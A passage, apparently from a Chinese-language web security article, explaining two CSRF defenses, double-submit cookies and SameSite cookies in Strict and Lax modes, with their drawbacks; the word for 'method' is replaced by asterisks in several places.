服务器在用户访问网站页面时，向请求域名注入一个 Cookie，内容为随机字符串，然后当用户再次向服务器发送请求的时候，从cookie 中取出 这个字符串，添加到 URL 参数中，然后服务器通过对 cookie 中的数据和参数中的数据进行比 较，来进行验证。使用这种方式是利用了攻击者只能利用 cookie，但是不能访问获取 cookie 的特点。并且这种 *** 比 CSRF Token 的 *** 更加方便，并且不涉及到分布式访问的问题。这 种 *** 的缺点是如果网站存在 XSS 漏洞的，那么这种方式会失效。同时这种方式不能做到子域 名的隔离。

第四种方式Samesite Cookie

是使用在设置 cookie 属性的时候设置 Samesite限制 cookie 不能作为被第三 方使用，从而可以避免被攻击者利用。Samesite 一共有两种模式，一种是严格模式，在严格模式下 cookie 在任何情况下都不可能作为第三方 Cookie 使用，在宽松模式下，cookie 可以 被请求是 GET 请求，且会发生页面跳转的请求所使用。

Samesite Cookie 表示同站 cookie，避免 cookie 被第三方所利用。将 Samesite 设为 strict ，这种称为严格模式，表示这个 cookie 在任何情况下都不可能作 为第三方 cookie。将 Samesite 设为 Lax ，这种模式称为宽松模式，如果这个请求是个 GET 请求，并且这个请求改变了当前页面或者打开了新的页面，那么这个 cookie 可以作为第三方 cookie，其余情 况下都不能作为第三方 cookie。

使用这种 *** 的缺点是，因为它不支持子域，所以子域没有办法与主域共享登录信息，每次转入子域的网站，都回重新登录。还有一个问题就是它的兼容性不够好。